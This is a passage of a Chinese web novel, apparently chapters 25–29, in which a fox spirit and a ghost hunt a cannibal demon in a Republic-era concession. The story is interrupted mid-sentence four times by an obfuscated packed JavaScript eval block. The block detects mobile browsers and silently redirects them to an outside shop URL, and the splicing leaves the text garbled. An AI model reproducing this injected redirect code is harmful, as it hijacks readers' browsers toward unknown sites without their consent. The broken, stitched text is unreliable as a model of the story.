而街头巡逻的警察已经瞧见了火光，马上吹着哨子跑了过来：“谁在那儿！” 林疏马上一跃而下，路过姬悬月身边时将他一捞，顺着绳子就朝上爬。 但他的冲劲儿不够大，天狐说白了是走灵活路线的神兽，何况身后还赘着一个一米九脱衣有肉的壮汉。 所以林疏只拽着姬悬月爬上了绳子的一半高度，就再上不去了。 不过他们窜得快，也没发出什么动静。 警察们跑过来，手电筒对着巷子里面一阵乱晃，没看见半个人影，也没有一个人想起来抬头看看。 “这地方……不会是闹鬼了吧？”其中一名警察结结巴巴道，“啊啊啊，刚才那是鬼火！” 另一个警察也开始双腿打摆子：“你别乱讲啊！怪吓人的咧，但是真真真的什么都……都没有……” 警察们啊啊啊大叫着跑了。 林疏屏息，听见他们都跑远了，这才松了口气。 他一手抓着绳子，一手拎着姬悬月，不上不下挂在半空中，身上早出了一层细密的汗。 结果就是这一下精神松懈，他蹬在墙砖上的脚突然一滑！ 糟糕！林疏闷哼一声，手一下子吃不住两个人的力，攥着绳子一路下滑。 而姬悬月本来也握着绳子的一端，但林疏下落的冲劲儿将他也砸了下去。 眼看两个人就要砸在矮墙上。 那一瞬间，心念电转，姬悬月便什么也不顾了，他骤然张开双臂，将林疏搂进了怀里。 这样，就会是他先砸上那道墙，有他垫一下，林疏一定不会伤得很重。 下坠产生的风掀飞了他的帽子，带着血腥气的空气从他耳畔疾驰而过。 而姬悬月只是搂紧了林疏，闭上了眼睛。 如果死在这儿，大不了重新变成鬼。但姬悬月不想看到林疏受一点点伤。 可是风骤然停了，姬悬月没有砸在墙上。 他感觉自己停滞在了半空中，那一瞬间周围没有了风声，他只听见自己的心跳声，与怀里的林疏的心跳声缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883374|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了一起。 他茫然地睁开眼睛，就看见林疏趴在他怀里，正在看着他。 一时间，姬悬月无法分辩小狐狸眼中的究竟是什么。 林疏好像还是那个目光清澈的小狐狸，但姬悬月又觉得他的眼眸像极了旋转的星河，又像亘古的深渊，里面的每一颗星星都闪烁着他看不懂的光芒。 短暂对视过后，林疏移开视线，打了个响指，两人轻轻地落在了瓦片上。 “你没事吧？”林疏从姬悬月身上爬起来，伸手去拉他。 姬悬月轻声道：“没事，刚才你做了什么？” “一点本命小法术。”林疏耸耸肩，“天狐本来就是掌控时间与幻术的动物，到我这一代十分不济，只能维持几秒钟。而且用过一次之后，很久不能再用。” 他扶着姬悬月起身，重新抓起绳子道：“今天就到这，我们回去休息吧。来，你让开，我先爬上去，然后把你拉上来。” 姬悬月便点点头，在底下看着林疏轻轻松松爬上了三楼，他们的那间房。 姬悬月独自站在漆黑的夜里，仰着头。 他知道，自己的心事被发现了。 林疏的反应告诉他，林疏并不喜欢他。 姬悬月在心里轻轻叹了口气。 他告诉自己，接下来，要藏得更好了。 林疏在三楼朝他打了个招呼，他便用绳子拴在自己腰上，然后用刺痛的双脚，努力去蹬墙上的砖缝。 林疏在上面用力拉，姬悬月在下面努力爬，过了好半天，姬悬月终于上来了，两个人都出了一身汗。 林疏噗嗤一声笑了：“真艰难。” 姬悬月瘫在床上：“这样看来还是当鬼更舒服，又轻快又好飘，想去哪就往哪飘。” 林疏正跪在床上越过他去关窗，拉窗帘，闻言轻轻弹了一下姬悬月的脑门：“那你以后还不是要投胎去当人。” 姬悬月道：“投胎之后还会记得今天发生的事吗？” 林疏愣了一下，片刻后道：“不会。” 屋子里顿时安静下来。 过了会儿，姬悬月轻轻地笑了：“没关系。” 林疏想了很久，还是郑重道：“是没关系，反正我会记得。等你转世投胎后，我会找到你，然后把这些有趣的事讲给你听。” “好。”姬悬月闭上双眼，道，“我会等着你的。” 鹤城的天空一片漆黑，没有星星，也没有月亮。 在这样黑沉沉的晚上，一个人那么认真，而另一个人说了谎。 “吱”一声，林疏拧亮了煤油灯，并拎到床尾，借着灯光开始给姬悬月上药。 又经过一天的磋磨，姬悬月脚底的血泡皮看着吓人了许多。 但林疏仔细观察了一番，发现确实有在愈合。 这让他松了口气，并细致地重新为姬悬月上了一层药膏。 姬悬月感受着林疏细致的照顾，心里又甜又苦。 而当林疏收拾完一切准备上床睡觉时，就发现姬悬月已经躺好，眼睛也闭上了。 林疏的手指放在煤油灯的开关上久久没有拧下去。 他脑海中不断回想的，是姬悬月将他搂在怀里向下坠的那一幕。 26. 第 26 章 其实在绳子不小心脱手的那一瞬间，林疏就已经做好准备要用法决来催动本命法术“时停”。 但姬悬月接住他、抱住他的那一瞬间，他整个人都傻住了。 从鬼新娘跟他回到家，他就一直告诉自己，姬悬月只不过是个需要他收容陪伴的“任务”。 一直以来，他都对姬悬月太过纵容了，他明白他的心软多少是因为姬悬月与他一样失去过记忆，这让他产生了一种同病相怜。 而且姬悬月长得那么好看，林疏觉得是个人就会对姬悬月心软。 可是他忘记了，姬悬月也是人，姬悬月也有感情。 他之前那样防着姬悬月和穆迎秋相爱，就是因为害怕爱恨得失让这厉鬼的心绪不受控制。 须知爱狠让人生怨，执念让人成魔。 如果姬悬月没有爱上穆迎秋，却爱上了他，那该怎么办？ 林疏心里乱得要命，却不知道怎么办才好。 干脆……就当什么也没发生过吧。 林疏一边催眠自己，一边又有些难过。 他不想辜负任何人，尤其……是姬悬月。 可他有爱人。 林疏默默关掉了煤油灯，小心地躺在了姬悬月身边。 这个晚上，谁都没有越界。 他们躺得整整齐齐，仿佛都睡得很安稳，又仿佛谁都没有睡着。 第二天，天才蒙蒙亮，林疏就起来了，他穿好衣服后第一件事，就是去看姬悬月的脚。 经过灵调局特批药膏的养护，姬悬月脚底的伤口已经好了大半，那两片血皮后面更是长出了粉红的新皮。 林疏于是松了口气，知道只要他们小心些走路，这伤应该是不会再疼了。 姬悬月在林疏醒来后就醒了。 但他闭着眼睛又等了一会儿，等到窸窸窣窣的穿衣声消失，他才慢慢睁开眼睛。 林疏坐在茶几边喝水，听见他翻身的声音，回头笑道：“醒啦。” 姬悬月嗯了一声。 谁都没有提昨天晚上。 林疏默默把沙漏调转过来，宣告第三天结束。 收拾停当后，林疏发现姬悬月的帽子没了，他赶紧回忆了一下剪辫令施行的具体年份。 民国十六年……剪辫令都实行了好久了，没有帽子，姬悬月恐怕举步维艰。 林疏便打算去再买一顶。 “等等，”姬悬月喊住他，认真道，“别买帽子了，买一把剪子吧。” 林疏：“？” 姬悬月笑了笑，道：“我早就想说了，长发不方便，还是剪短的好。反正小爷长得好看，长发短发都是美的。” 林疏愣住了，他看着笑容温和的姬悬月，仿佛不敢相信自己的耳朵。 他还记得刚把姬悬月带回家的那天，晚上他要带着姬悬月去赴约，想给姬悬月剪掉长发，姬悬月差点跟他拼命。 “怎么突然不想留长发了？”林疏奇道，“戴帽子没关系的，没人会看。我们过几天就回去了。” 姬悬月拎着发尾，轻轻瞥了一眼就甩开了，道：“是我自己想剪了。” 林疏只好下了楼，去五金铺子里买了一把金边剪子。 但他想了想，还是又买了一顶帽子。 回到旅店后，他把剪子放在茶几上。 然后把帽子拿了出来，盖在剪子上面。 “你可以不剪的。”他认真道。 姬悬月此时已经穿戴停当，他走到茶几边坐下，掀开帽子，拿起了剪刀。 然后自己握着脑后长发，捋到身前，毫不犹豫地一剪子下去，乌黑柔顺的长发变成了齐肩。 那把头发被他像垃圾一样随手丢进了垃圾桶。 林疏看得目瞪口呆。 姬悬月犹嫌不够，又去盥洗室，对着镜子一顿操作。 林疏赶紧去拦住他，而绝美鬼新娘头上的毛已经东长西短、乱七八糟，瞬间从长发美人，变成了个梳狗啃刘海的叫花……美人。 美人就是美人，梳什么头发都是美人。 美人对着林疏慵懒地一笑，就仿佛千万朵玫瑰花在他眼前绽放。 林疏深深叹了口气，然后接过剪子，认真给姬悬月修理了一番。 他的技术也只是一般，姬悬月长发的时候偶尔中分偶尔偏分，他就保留了之前那条发缝，给姬悬月修剪成了跟自己差不多的长度。 不过姬悬月的头发不像林疏的那样微微卷起，而是柔软顺直。 这样的短碎发倒是显得他像个气质干净的……男大学生。 男大学生姬悬月站起来，抖掉肩上的碎发，对着镜子深深看了一眼。 林疏便瞧着他倒又不像男大了，这样浓颜系的、俊美到锐利的长相，几乎模糊掉了姬悬月的年龄。 说他十八岁也行，说他二十八岁，也无不可。 林疏便与这样全新形象的姬悬月一同出现在了租界的大街上。 昨天的命案经过一晚上的发酵，一大早就已经在这个人口稠密的城市掀起了恐怖猎奇的热潮。 林疏和姬悬月走到哪里，都能听见人们低声讨论。 “听说了吗？六河路三岔口那个巷子，昨晚死人啦！” “听说了，谁不知道啊！” “那你知道死的人是谁吗？” “还用问？校服上都写着，西洋女校学画画的学生呗。” “有人知道具体是谁家的孩子吗？” “那不清楚，还没信儿呢。不过我巡捕房有亲戚，说不定啊今晚就知道喽。” …… 林疏与姬悬月听着这些对话，对视一眼，林疏知道自己的猜测属实。 瓦片上那些蓝色的东西，就是油画的颜料。 两人缓慢地走过两条街，林疏打算去那个西洋女校看一看。 他正打算叫一辆黄包车，突然，在街对面，他又看到了那个推自行车的少年！ “哎！等等。”林疏赶紧穿过了人潮汹涌的街道，去追逐那名少年！ 直觉告诉他，那人出现在租界的街头，绝对不是巧合。 少年在林疏发现自己的一瞬间，就推着车转身离开了。 但林疏哪里肯让他走？当即跑得飞快，追了上去。 追到跟前，他才发现少年其实并不比自己矮多少，只是因为面嫩，体格又纤瘦，才显得像个孩子。 “你好，”林疏朝他伸出手去，“我想问……” 少年主动道：“运货三铜元一次。” 林疏：“……” 姬悬月已经绕过车流跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883375|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过来：“怎么了？” 少年打量了姬悬月一番，睫毛垂了下去。 林疏想了想道：“我给你10个铜元，你带我们去个地方吧，我们找不到路。” 少年问：“两位先生要去哪儿？” 林疏道：“西洋女校。” 少年抬起眼皮看了看他们二人：“西洋女校离这里不算远，叫黄包车的话也只要10个铜元。” “我们两个人，黄包车不拉。”林疏扯谎道。 少年似乎懒得与他们争辩，轻声道：“那就跟上。” 林疏看了姬悬月一眼，两人便跟在少年身后，朝租界内部走去。 路上林疏试图套话：“你平时就在租界帮人运货吗？你家住哪里？” 少年：“我家住河东。” 河东是租界外了，要过江。林疏顿时知道这家伙不是租界内的人。 再仔细看看，如今天气尚冷，这少年只穿一身半旧不新的长衫，手肘和领口都打着补丁，洗得原本颜色都看不出了。 林疏又问道：“你多大了，还在念书吗？家里还有什么人？” 少年道：“今年十七，已经不念书了。家里还有父母，和一个妹妹。” “不读书了……”林疏有些遗憾，“还是要读书的，知识就是向上走的阶梯呀。” 林疏还想问什么，少年听了这话，却好像防备心放下了些，话匣子也打开了：“我平时会在租界朋友家继续读书，最近出来拉货是因为要攒钱，带妹妹去租界的那个‘新世界’玩。” 一旁的姬悬月忽然道：“你常来租界，可听说过这边发生的事？” 少年摇头：“我买不起报纸。” 林疏笑道：“不是问这个，你平时可听见周围的人说租界里的怪事吗？” 少年便偏过头，轻轻看了林疏一眼，摇头道：“没有。” 说话间，他们已经经过那道死过人的窄巷。 周围所有人在路过那巷口的时候都本能地捂住口鼻，讳莫如深地加快速度走过。 少年恍若未见，仍推着车不紧不慢朝前走。 姬悬月面上带着笑意，眼中却装满了审视。 在彻底走过那道巷子之后，姬悬月问道：“你既不常到租界来，怎会认得去女校的路？” 顾临头也不回：“我妹妹曾在西洋女校读过几年书。” 林疏便试探着问道：“你妹妹现在也不读书了吗？” 少年道：“她嫂子不让她念书，我是想送她到学费便宜一些的女子学堂，但她自己也不喜欢去，我只好在家教她识些字。” 林疏诧异道：“你们不是亲兄妹吗？” 少年笑道：“不是，她姓周，我姓顾。只是大家左邻右舍，她又没爹没娘，跟我亲妹妹也没区别。” “姓顾？”林疏眉开眼笑，“我的恩师也姓顾，你叫顾什么？” 少年道：“顾临。” 自行车的轮子转动，车链与绞盘发出细微的碰撞声。 他们周围，明明是熙攘而热闹的租界，这名叫顾临的少年却像走在自己淡然静谧的小世界里。 林疏看着他挺拔自若的背影，突然好像从他身上看到了一丝神性。 “嘶……”顾临突然跳了一下，他被车轮子轧了脚。 27. 第 27 章 林疏：“……”好好好，是他看错。 顾临揉着脚尖，指着前面纯白大理石砌成的建筑：“那就是西洋女校所在的教堂，你们是去找人的吗？” 林疏道：“我们去打听一些事。” 顾临扫了林疏一眼，道：“那你们可能要铩羽而归了，那间学校在教堂里，你穿着道袍，传教士不会让你进去的。” 林疏看看自己的旧道袍，啧了一声。 顾临又道：“而且，能进入教堂，不代表你们能见到女校的学生和老师。她们都是各大家族的名媛，尤其不会见外来的陌生男性。” 林疏拧了拧眉毛，开始觉得有些棘手。 姬悬月却突然道：“顾临，你知道食人魔的事，对吗？” 顾临有些意外，却摇了摇头：“我不知道什么食人魔。” 姬悬月露出个似笑非笑的表情，道：“我们曾路过一个窄巷，所有人走过那里，都很害怕，但你没有。” 顾临皱眉道：“什么窄巷？” 姬悬月的目光从浓长睫毛后面射出，深深望进他的眼睛，却没再追问。 顾临便伸出手：“这就到了，先生给钱吧。” 林疏掏出一把零钱，数了十个铜币，要交给他，手却没有松开。 顾临就伸着手耐心地等。 林疏想了想，还是将铜币松开了，道：“你带路很准，下次还找你。” 顾临接了铜币，礼貌地道谢，然后推着车往回走去。 林疏看着他的背影眯起了眼睛。 姬悬月道：“他有秘密。” 林疏点点头：“今天先放过他，逼得太紧会适得其反。” 说完他就转身，打算跟姬悬月一起去教堂门口碰碰运气。 突然，他们听见身后传来欢快的女声：“hey，是小顾临呀！” 林疏一怔，马上回头，就看见一辆拉了很多东西的马车停在教堂门前的岔路口， 车窗里探出一个长着金色卷毛的头，正拉着顾临热切地说话。 林疏赶紧拉着姬悬月躲在教堂的月季花后面偷看，就见顾临礼貌地跟那人打招呼：“苏珊娜小姐您好，代我给温小姐问好。” “温小姐记着你呢，”金发的苏珊娜捂着嘴巴笑，“要不是你，她弄丢了那些颜料，一定会很伤心。对了！” 她回过身，从车厢里取出一个约12寸的小画框，递给了顾临：“这是温小姐的练习作，她一直惦记要送给你作为回礼，正巧画斋要搬家，就放在马车上了。” “谢谢，”顾临也不推脱，就接了过来，林疏眼尖地看出那是一幅油画，画的是一束蓝色的玫瑰花。 金发女人又与顾临说笑了两句，就与他挥手告别了，马车轰隆隆开走，顾临则目送她远去。 而后，顾临将画框随手放在了自行车后座，继续向前走。 没走两步，又被自行车轧了脚板，“嘶”地倒抽了一口气，然后跺了半天脚。 林疏回头看姬悬月：“他该不会，根本不会骑自行车吧？” 姬悬月：“……” 顾临已经从视野中消失，两人便转过身，走向了西洋女校所在的教堂。 运货少年确实没有骗人，林疏在门口就被拦住了，但拦他的并不是金发碧眼的洋人，而是趾高气扬的守门大爷——黑发黑眸，满口洋腔。 林疏也不生气，就让姬悬月进去。 姬悬月进去转了一圈出来了，说他连那女校在哪都没找到，里面的神父从他进去一直盯到他出来。 林疏一想，就算找到了，也见不到女校的负责人和那些女学生，真见到了，也问不出什么，索性就说算了。 于是两人又慢悠悠沿着来路回去了。 在回去的路上，林疏给姬悬月买了一双千层底的布鞋，防止他的脚再被磨坏。 两人又晃晃悠悠去吃了一顿老正兴的本帮菜，并买了两份粢饭糕捧着当零食。 这样一路逛吃，回到旅店的时候，又到晚上了。 林疏本狐是一天不洗澡就浑身难受，来到民国后已经三天没洗，实在是受不了了。 于是回到旅店后他便钻进盥洗室，用热水汀烧起了水，准备冲个澡。 他们暂住的旅店已经是鹤城比较高档的旅店，虽然与洋人开设的大酒楼还是差着许多，但屋内用具一应俱全，连马桶都是抽水的，这一点已经让林疏相当满意。 也有不足之处——这种旧建筑的保温向来做得不好，林疏洗完澡后哆哆嗦嗦披着毛巾出来，冻得小脸发白，嘴唇发紫。 姬悬月赶紧道：“快来床上躺着，你也不怕感冒。” “天天天……天狐不会感冒。”林疏一边嗦着鼻涕一边掀开被子钻了进去， 可叹这旅店的被子也是陈年旧絮，他躺在里面并不觉得暖和。 姬悬月内心无比挣扎，最后还是忍不住，伸开手臂将林疏与被子一齐笼进了怀里。 林疏还在瑟瑟发抖，突然就被温暖的臂弯包住了，他一愣，心跳陡然加了速。 姬悬月努力将自己的局促从里到外收敛起来，浑不在意地解释了一句：“你太冷了，我不冷。” 林疏想了一会儿，给被子掀开了一道缝，细声细气道：“谢谢。” 姬悬月便放了心，努力将林疏搂在怀里。 为了避免林疏觉得尴尬，姬悬月主动说起了今天发生的事：“今天白天那个小孩，叫顾临的。” “人家就比你小一岁吧。”林疏瓮声瓮气道。 姬悬月理直气壮道：“我都在世上飘了一百多年了。” 林疏只得道：“好好好，你大，你是他老大爷。他怎么了？” 姬悬月道：“他有点奇怪。” “这还用说吗。”林疏在被子里翻了个身，面朝姬悬月，窝了个非常舒服的姿势。 姬悬月心中软软热热的，他小心翼翼将手臂覆上这一团小狐狸，并不着痕迹地收紧：“昨天我们曾经过那个发生凶案的窄巷，他的反应很耐人寻味。” 林疏道：“确实，周围的人都很害怕，他却像没看见一样。但不排除他就是个反应不那么灵敏的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883376|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姬悬月却道：“不，我不这么认为。他一针见血地提出你是道士进不去那个教堂，他的眼睛很擅长抓细节。” 林疏想了想，附和道：“确实，他很聪明，眼睛也毒。” “这样的人，我觉得他不会察觉不到周围人的反应，”姬悬月道：“当所有人都对同一个地方面露恐惧的时候，就算是个大大咧咧的孩子，也不会一点情绪波动都没有。” 林疏道：“除非他一早就知道窄巷里发生过什么，而且一点都不怕。” 姬悬月点头：“你有没有发现，在我问他‘知不知道食人魔’的时候，他眉毛都没皱一下。” 林疏道：“发现了。” 姬悬月轻笑一声。 林疏身后的胸腔微微震动着，无声将一种躯体相接的真实感，传递到了小狐狸敏感的脊背。 他不由得微微动了动，却撞进姬悬月温柔臂弯，顿时……被身后人禁锢的触感更强烈了。 姬悬月却非常正经，轻声道：“其实并没有人提起过‘食人魔’这三个字，尸体被人啃噬的细节，除了警察和法医，就只有看过案卷的我们知道。我突然说起食人魔，他应该本能地问我，什么是食人魔，或者哪里有食人魔。” 林疏只得努力集中精神，道：“是的，他却冷静地回答没有听说过。后来你提起窄巷凶案，他非但不害怕，还反问了一句，窄巷怎么了。” 姬悬月道：“要么，他迟钝，且完全不知道这件事的内幕。要么，他本身具有非常强大的底牌，让他根本不畏惧这件事。” 林疏叹了一声：“小小鹤城，卧虎藏龙。” 姬悬月道：“所以你打算怎么办？明天继续去找这个顾临吗？” “得找。”林疏道，“那位‘温小姐’送他那幅画你看见没？” 姬悬月道：“看见了，蓝色的花，很漂亮。” 林疏道：“我在凶案现场的瓦片上，找到了一团蓝色的油画颜料，我能闻到里面的矿石的气味。而那玫瑰花上的折射感，不可能是普通的色素颜料——它们二者，都是蓝铜矿制作的颜料。” 姬悬月道：“所以，它们可能出自同一个画斋，用了同一种颜料？” 林疏道：“我是这么猜的，蓝铜矿制作的蓝色颜料非常昂贵，我不知道这个时代的鹤城究竟有多少人用得起。但我们可以慢慢查。” 说话间，慢慢的，林疏身上也暖了，他轻轻挣扎了一下，姬悬月就很自觉地收回了手臂。 林疏道：“你的脚底板还痛吗？” 姬悬月道：“已经好了。” 两人便没有再说其他的话。 次日一早，两人一齐醒来，姬悬月便发现林疏又挤在了他怀里，姬悬月隐约松了口气，知道这件事大概是过去了，林疏不再在意他对他的喜欢。 他们又可以像之前一样。 今天他们起得早，林疏欢快地拉着姬悬月去吃鹤城的“老几样”。 先吃了热气腾腾的小馄饨，又一人炫了一笼蟹黄包，二人总算在金灿灿的日出里迎来了租界最为热闹的“早高峰”。 28. 第 28 章 街上匆匆忙忙走过的都是做工的人，林疏拉着姬悬月讨论他们的衣着，猜测他们的职业。说着说着，姬悬月看着自己呵出来的白色蒸汽，惊奇道：“我会吞云吐雾！” 林疏看得大笑：“你这样也算吞云吐雾啊？哎，对，你会抽烟吗？” 姬悬月摇头：“我忘了。你呢？” 林疏感慨道：“我应该是不会，反正这辈子没学过，失忆前不知道。我师父烟瘾很大，师娘从来不管，但我十五岁那年偷偷抽过一次，差点让我师娘打成死狐狸。” 姬悬月笑道：“看来抽烟不是什么好事。” 林疏就朝路灯杆底下那群瘦弱的烟鬼努努嘴：“吸点烟草其实都不算什么了，你看那些。” 姬悬月愣了一下，脑子里仿佛有什么东西闪过：“他们是抽大|烟的……对吗？” 林疏奇道：“你知道？” 姬悬月笑了笑：“我好像记得。” 林疏想了想，同治年间，国内确实鸦|片泛滥，鹤城山高皇帝远，清廷根本控制不住这些离紫禁城千八百里远的地方。 不过看姬悬月死前身强力壮、唇红齿白的样子，一定不会是个烟鬼就对了。 林疏将脖子上沙漏再次调转，然后两人沿着昨天找到顾临的路线继续往前走，但在街头徘徊了一个上午，他们也没见到顾临。 不知道这小子是不是怕被发现什么，不敢来了。 而今晚就是那“食人魔”第二次作案的日子，林疏知道，等不到顾临，就只能晚上现场抓罪犯了。 现场抓也不坏，说不定直接就能抓食人魔归案……也不对，这只是一条靠沙漏创造的分支时间线，里面的一切都不是真实的。 除了林疏和姬悬月。 林疏叹了口气，带着姬悬月坐在街头发呆，他知道在落日之前是找不见顾临了，今夜的抓捕势在必行。 而剪了短发戴着帽子的姬悬月，仅仅是靠着栏杆站着，就莫名其妙，成了租界盛景。 林疏很快就发现，路过的人会似有若无地偷瞄他们——主要是偷瞄姬悬月。 原因无他，姬悬月从头到脚都实在太引人注目。 后来甚至还有经理人找过来，问姬悬月有没有意愿去拍电影。 姬悬月漠然拒绝，连个眼神都懒得分给旁人。 见林疏偷偷注视自己，姬悬月便斜睨了他一眼，懒洋洋地勾了下唇角道：“看什么？” 林疏：“……没事。” 招蜂引蝶，不讲男德！ 回到旅店后，林疏开始为今晚的抓捕做准备。 这个处于拐角的屋子就这一点好——屋里那两根粗壮的承重柱非常实用。前天晚上，林疏就是靠把绳子捆在其中一根柱子上，才能上下自如。 今晚他故伎重施，将绳子绑上柱子，然后画了十几张各类符纸备用，就打开窗子，轻轻将绳子蓄了下去。 姬悬月脱掉了碍事的西装外套，换了舒适的板鞋，只穿着衬衣，准备陪他一起。 但林疏才刚探了个头出去，就“哎”了一声，仰头朝后倒了过来。 姬悬月正在他背后，赶紧握着他的腰扶了他一把。 林疏手忙脚乱倒在了姬悬月怀里，纤腰被滚烫的掌心一握，顿时浑身都软了。 他赶紧爬起来，脸色通红道：“谢……谢谢！” 姬悬月忙问：“怎么了？” 林疏捂着怦怦跳的心，缓了一会儿才道：“底下有人。” “什么人？”姬悬月问道。 屋子里太黑了，他没有察觉到林疏的异样。 林疏道：“警察。” 原来——理应是从昨夜开始，警察就派了人在这个巷子里蹲点。 只是昨夜林疏和姬悬月知道没有发生案件，所以没有往下看。 此时一群警察在巷子口蹲守，拿着手电筒到处乱晃，刚才那一下就是林疏被电筒晃了眼睛。 要不是他退得快，差点就被发现了。 “那怎么办？”姬悬月贴着窗子朝下看了几眼，“就不追查了吗？” “当然不行。”林疏目光炯炯，从琵琶袖里掏出两枚符纸，咬着牙道，“小爷今天下血本！” 姬悬月借着星光看了看那两张符，竟然是黑纸写的符，也不知是作何用处。 当然，当林疏把符纸拍在身上之后，他就知道这是什么用了——这居然是隐身符。 林疏的声音从虚空中传来，几乎是肉痛到了极点：“走吧，一张符的效力是两个时辰。小爷这回是真出血了……回去必得找师父报销！” 姬悬月将符纸拍在了衬衣胸口，就发现自己也逐渐变得透明，最后完全自己看不见自己了。 林疏开始小声喊着姬悬月的名字，姬悬月便朝他伸出手去，很快，两人摸索着双手相接。 林疏紧紧握住了姬悬月的手，与他十指相扣，然后慢慢打开了房门。 走廊里的煤油灯还燃着，发出昏黄的光。 两人蹑手蹑脚下楼，趁着掌柜的在柜台后面打瞌睡，他们偷偷打开门溜了出去。 租界的夜晚十分安静，宵禁让大街上空无一人，只有三三两两的警察因加强巡逻，而穿梭在大街小巷。 远处天边，则隐约有彩色的光芒朝着天空摇曳。 林疏猜测，那应该是百乐门的灯红酒绿。 两人沿着街边缓缓走向那道窄巷，又趁着夜风呼啸，警察们都在发呆玩手电筒，他们越过警察之间的空隙，进到了巷子里头。 过程分外惊险，但符纸很好地保护了他们的行踪。 林疏始终紧紧握着姬悬月的手，风卷起他们额前的头发，他们看不见自己，也看不见对方。 只有手心跳动的脉搏告诉他们，他们彼此紧紧连接。 夜更深了，气温变得很低，林疏的腿很快开始打摆子，他坚强地没有动。 但他的战栗抑制不住地顺着手掌传递给了姬悬月。 姬悬月默默走了两步，到风口处为林疏挡风，又试着用另一只手，将林疏搂进怀里。 风很冷，姬悬月的怀抱很暖。 林疏欲哭无泪，只能先红着脸与姬悬月鸳鸳相抱，并心乱如麻，他为什么要和姬悬月靠这么近啊！ 万一双双心动……难道真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883377|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的要搞成你死我活生死离别那样的局面吗！ 但身体很诚实，林疏乖乖与姬悬月贴在一处取暖，连一个细胞都没有挪开。 谁也不知道在这个寂静的深夜里，无数警察的眼皮底下，这两个家伙竟然明目张胆抱在一起。 简直是世风日下。 不知过了多久，半空中骤然袭来浓郁的血腥味。 林疏和姬悬月瞬间抬头，却只见一团散发着浓郁魔气的黑色旋风已经扬长而去！ 林疏一惊，马上回头，就见刚才还空无一物的身后，不知何时居然已经出现了一具新鲜的尸体！ 林疏顾不得去看那尸体是何样貌，他往姬悬月腿上拍了一张神行符，然后拽着姬悬月直接登上了矮墙！ 踩着老朽的瓦片，两人顺着那魔气所去的方向奔跑着追去！ 蹲点的警察们被踩瓦片的声音惊动，马上回头。 凶手没瞧见，倒是看见了地上突兀出现的受害者，顿时吓得大呼小叫。 而林疏和姬悬月已经追出去老远。 神行符的作用倒是没有那么神奇，只是能提高跑的速度。 在发现姬悬月变回活人后，林疏就准备了不少，生怕遇到今天这样的情况。 他自己是不会有问题的，因为天狐本就是灵活迅捷的神兽。 只是，那团魔气速度奇快。林疏和姬悬月用上全力一路狂奔，都觉得下一秒就要追它不上。 但狂奔到它消失的路口，两人却总能看见它在岔路的某个方向一闪而过。 林疏蹙眉，他感觉到自己和姬悬月被戏耍了。 周围的环境明明白白告诉林疏，这个食人魔根本不怕他们追上！ 因为它居然左拐右拐，来到了一个他们都很熟悉的地方！ 那个内部办了女校的西洋教堂！ 食人魔还游刃有余地围着那个西洋教堂绕了一圈！ 待林疏和姬悬月即将追上它的时候，它又一拧身，朝另一个方向逃了。 林疏一路拉着姬悬月狂奔，一直从教堂追到百乐门，最后差点追出租界线——他们发现，食人魔最终的方向，是租界外的东南岸郊区！ 林疏不由得拉着姬悬月停了下来。 他在心里衡量了一番，隐身符还有大概一个小时的有效期。 如果在隐身符时间结束后他们还没追到这个食人魔，恐怕……就要先考虑如何回租界的问题了。 既然食人魔把抛尸地定在租界，那么一定有它的原因。 很多线索也都在租界内，他们不能不回去。 而且这次他们来到的民国，说穿了不过是一条复制出来的时间线。就算他们在这里抓到了食人魔，等时间线归位，他们还是两手空空—— 所以最重要的是并不是抓住食人魔，而是弄清当年的真相。 当然，如果能直接抓到食人魔，进行一个审问，也能获得真相。 林疏倒是可以现场再画两张隐身符，他的“袖里乾坤术”中藏着画符的用具。 但这种符纸消耗太大，他怕画完了，真对上食人魔，他灵力不足，反而没有胜算。 29. 第 29 章 两相对比之下，林疏大概有了计较： 隐身还剩一小时，那么半小时追捕，半小时回程。 想到这，他毫不犹豫拉着姬悬月翻出了租界线！ 见他们追出了租界，那食人魔终于有些谨慎了。 